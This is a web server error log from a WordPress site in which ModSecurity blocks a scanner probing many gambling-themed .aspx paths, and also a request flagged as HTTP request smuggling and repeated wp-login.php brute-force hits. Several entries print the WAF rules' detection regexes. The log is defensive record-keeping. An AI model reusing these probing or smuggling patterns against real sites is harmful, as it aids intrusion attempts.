[Mon Mar 16 04:56:37.621130 2026] [:error] [pid 62429:tid 62509] [client 51.83.9.109:34248] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "abcdBVewIPukhLCowEGt_gAAAI0"]
[Mon Mar 16 04:56:39.582167 2026] [:error] [pid 62429:tid 62510] [client 51.83.9.109:51522] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "abcdB1ewIPukhLCowEGuBAAAAI4"]
[Mon Mar 16 04:56:41.598776 2026] [:error] [pid 62529:tid 62540] [client 51.83.9.109:51538] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "abcdCT84-luOVYZKK0NYagAAAMM"]
[Mon Mar 16 04:56:43.637068 2026] [:error] [pid 62428:tid 62479] [client 51.83.9.109:44484] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "abcdC6rHSRXFZx1-aIHIEgAAAEo"]
[Mon Mar 16 04:56:45.786383 2026] [:error] [pid 62427:tid 62449] [client 51.83.9.109:44488] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "abcdDcUPP8fzo6XzJCUKfQAAAAg"]
[Mon Mar 16 04:56:47.739518 2026] [:error] [pid 62429:tid 62509] [client 51.83.9.109:44498] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "abcdD1ewIPukhLCowEGuDQAAAI0"]
[Mon Mar 16 04:56:49.658899 2026] [:error] [pid 62429:tid 62518] [client 51.83.9.109:44510] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "abcdEVewIPukhLCowEGuFgAAAJY"]
[Mon Mar 16 04:56:51.744030 2026] [:error] [pid 62428:tid 62470] [client 51.83.9.109:44526] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "abcdE6rHSRXFZx1-aIHIJwAAAEE"]
[Mon Mar 16 04:56:53.657779 2026] [:error] [pid 62429:tid 62515] [client 51.83.9.109:40234] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "abcdFVewIPukhLCowEGuGwAAAJM"]
[Mon Mar 16 04:56:55.570086 2026] [:error] [pid 62428:tid 62490] [client 51.83.9.109:40244] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "abcdF6rHSRXFZx1-aIHIMgAAAFU"]
[Mon Mar 16 04:56:57.488027 2026] [:error] [pid 62429:tid 62500] [client 51.83.9.109:40260] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "abcdGVewIPukhLCowEGuIQAAAIQ"]
[Mon Mar 16 04:56:59.564027 2026] [:error] [pid 62427:tid 62449] [client 51.83.9.109:40276] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "abcdG8UPP8fzo6XzJCUKhAAAAAg"]
[Mon Mar 16 04:57:01.623390 2026] [:error] [pid 62428:tid 62492] [client 51.83.9.109:40292] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "abcdHarHSRXFZx1-aIHIRAAAAFc"]
[Mon Mar 16 04:57:03.698107 2026] [:error] [pid 62429:tid 62506] [client 51.83.9.109:54426] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "abcdH1ewIPukhLCowEGuLwAAAIo"]
[Mon Mar 16 04:57:05.739709 2026] [:error] [pid 62529:tid 62556] [client 51.83.9.109:54442] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "abcdIT84-luOVYZKK0NYoAAAANM"]
[Mon Mar 16 04:57:07.793938 2026] [:error] [pid 62529:tid 62541] [client 51.83.9.109:54456] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "abcdIz84-luOVYZKK0NYrgAAAMQ"]
[Mon Mar 16 04:57:09.699349 2026] [:error] [pid 62428:tid 62476] [client 51.83.9.109:54464] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "abcdJarHSRXFZx1-aIHIcgAAAEc"]
[Mon Mar 16 04:57:11.733297 2026] [:error] [pid 62529:tid 62543] [client 51.83.9.109:54470] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "abcdJz84-luOVYZKK0NYxAAAAMY"]
[Mon Mar 16 04:57:13.759818 2026] [:error] [pid 62529:tid 62544] [client 51.83.9.109:57172] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "abcdKT84-luOVYZKK0NYzgAAAMc"]
[Mon Mar 16 04:57:15.531297 2026] [:error] [pid 62428:tid 62480] [client 51.83.9.109:57188] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "abcdK6rHSRXFZx1-aIHIdwAAAEs"]
[Mon Mar 16 04:57:17.554751 2026] [:error] [pid 62529:tid 62539] [client 51.83.9.109:57202] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "abcdLT84-luOVYZKK0NY1gAAAMI"]
[Mon Mar 16 04:57:19.584328 2026] [:error] [pid 62427:tid 62448] [client 51.83.9.109:57208] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "abcdL8UPP8fzo6XzJCUKxgAAAAc"]
[Mon Mar 16 04:57:21.648420 2026] [:error] [pid 62529:tid 62548] [client 51.83.9.109:57220] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "abcdMT84-luOVYZKK0NY5QAAAMs"]
[Mon Mar 16 04:57:23.685151 2026] [:error] [pid 62529:tid 62558] [client 51.83.9.109:60250] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "abcdMz84-luOVYZKK0NY8AAAANU"]
[Mon Mar 16 04:57:25.719954 2026] [:error] [pid 62529:tid 62555] [client 51.83.9.109:60256] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "abcdNT84-luOVYZKK0NY9QAAANI"]
[Mon Mar 16 04:57:27.765819 2026] [:error] [pid 62428:tid 62490] [client 51.83.9.109:60268] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "abcdN6rHSRXFZx1-aIHIhQAAAFU"]
[Mon Mar 16 04:57:29.635594 2026] [:error] [pid 62529:tid 62538] [client 51.83.9.109:60280] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "abcdOT84-luOVYZKK0NY_wAAAME"]
[Mon Mar 16 04:57:31.676998 2026] [:error] [pid 62529:tid 62542] [client 51.83.9.109:60292] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "abcdOz84-luOVYZKK0NZDQAAAMU"]
[Mon Mar 16 04:57:33.578468 2026] [:error] [pid 62529:tid 62552] [client 51.83.9.109:33930] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "abcdPT84-luOVYZKK0NZFQAAAM8"]
[Mon Mar 16 04:58:08.388851 2026] [:error] [pid 62529:tid 62538] [client 51.83.9.109:33932] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "abcdYD84-luOVYZKK0NZbAAAAME"]
[Mon Mar 16 04:58:10.345871 2026] [:error] [pid 62429:tid 62496] [client 51.83.9.109:43862] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "abcdYlewIPukhLCowEGukAAAAIA"]
[Mon Mar 16 04:58:12.366053 2026] [:error] [pid 62529:tid 62548] [client 51.83.9.109:44380] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "abcdZD84-luOVYZKK0NZdQAAAMs"]
[Mon Mar 16 04:58:14.382852 2026] [:error] [pid 62529:tid 62557] [client 51.83.9.109:44390] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "abcdZj84-luOVYZKK0NZeAAAANQ"]
[Mon Mar 16 04:58:16.412688 2026] [:error] [pid 62529:tid 62547] [client 51.83.9.109:44396] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "abcdaD84-luOVYZKK0NZggAAAMo"]
[Mon Mar 16 04:58:18.282034 2026] [:error] [pid 62429:tid 62507] [client 51.83.9.109:44410] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "abcdalewIPukhLCowEGupwAAAIs"]
[Mon Mar 16 04:58:20.318366 2026] [:error] [pid 62529:tid 62540] [client 51.83.9.109:44424] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "abcdbD84-luOVYZKK0NZiwAAAMM"]
[Mon Mar 16 04:58:22.333416 2026] [:error] [pid 62428:tid 62489] [client 51.83.9.109:41412] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "abcdbqrHSRXFZx1-aIHIyAAAAFQ"]
[Mon Mar 16 04:58:24.369121 2026] [:error] [pid 62428:tid 62483] [client 51.83.9.109:41420] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "abcdcKrHSRXFZx1-aIHIzwAAAE4"]
[Mon Mar 16 04:58:26.377265 2026] [:error] [pid 62427:tid 62459] [client 51.83.9.109:41430] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "abcdcsUPP8fzo6XzJCULBAAAABI"]
[Mon Mar 16 04:58:28.419405 2026] [:error] [pid 62529:tid 62546] [client 51.83.9.109:41446] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "abcddD84-luOVYZKK0NZmQAAAMk"]
[Mon Mar 16 04:58:30.442605 2026] [:error] [pid 62429:tid 62496] [client 51.83.9.109:41448] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "abcddlewIPukhLCowEGuvQAAAIA"]
[Mon Mar 16 04:58:32.303981 2026] [:error] [pid 62429:tid 62507] [client 51.83.9.109:52356] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "abcdeFewIPukhLCowEGuwQAAAIs"]
[Mon Mar 16 04:58:34.320784 2026] [:error] [pid 62529:tid 62552] [client 51.83.9.109:52362] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "abcdej84-luOVYZKK0NZowAAAM8"]
[Mon Mar 16 04:58:36.337980 2026] [:error] [pid 62529:tid 62555] [client 51.83.9.109:52376] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "abcdfD84-luOVYZKK0NZpwAAANI"]
[Mon Mar 16 04:58:38.357033 2026] [:error] [pid 62427:tid 62447] [client 51.83.9.109:52382] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "abcdfsUPP8fzo6XzJCULEQAAAAY"]
[Mon Mar 16 04:58:40.372227 2026] [:error] [pid 62429:tid 62502] [client 51.83.9.109:52396] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "abcdgFewIPukhLCowEGu0wAAAIY"]
[Mon Mar 16 04:58:42.236377 2026] [:error] [pid 62529:tid 62552] [client 51.83.9.109:55106] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "abcdgj84-luOVYZKK0NZugAAAM8"]
[Mon Mar 16 04:58:44.251423 2026] [:error] [pid 62429:tid 62501] [client 51.83.9.109:55114] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "abcdhFewIPukhLCowEGu2wAAAIU"]
[Mon Mar 16 04:58:46.261063 2026] [:error] [pid 62428:tid 62478] [client 51.83.9.109:55126] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "abcdhqrHSRXFZx1-aIHI2QAAAEk"]
[Mon Mar 16 04:58:48.281900 2026] [:error] [pid 62427:tid 62461] [client 51.83.9.109:55128] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "abcdiMUPP8fzo6XzJCULFwAAABQ"]
[Mon Mar 16 05:15:53.118499 2026] [autoindex:error] [pid 62428:tid 62471] [client 213.199.63.167:60856] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Mon Mar 16 05:32:08.128744 2026] [:error] [pid 62529:tid 62558] [client 49.51.36.179:58058] [client 49.51.36.179] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "abclWD84-luOVYZKK0NsQQAAANU"]
[Mon Mar 16 06:12:40.300293 2026] [:error] [pid 62429:tid 62518] [client 104.36.50.57:57235] [client 104.36.50.57] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?:\\\\n|\\\\r)+(?:get|post|head|options|connect|put|delete|trace|propfind|propatch|mkcol|copy|move|lock|unlock)\\\\s+" at MATCHED_VAR. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "137"] [id "217280"] [rev "6"] [msg "COMODO WAF: HTTP Request Smuggling Attack||gigfragments.org|F|2"] [data "Matched Data: get found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/contact/"] [unique_id "abcu2FewIPukhLCowEHHIAAAAJY"], referer: https://gigfragments.org/contact/
[Mon Mar 16 07:02:26.511189 2026] [:error] [pid 62428:tid 62482] [client 203.188.168.21:37365] [client 203.188.168.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 203.188.168.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abc6gqrHSRXFZx1-aIHoEAAAAE0"]
[Mon Mar 16 07:02:35.618968 2026] [:error] [pid 12823:tid 12866] [client 203.188.168.24:54969] [client 203.188.168.24] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 203.188.168.24, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abc6ixlVKeelxvdJEr4yeQAAAgQ"]
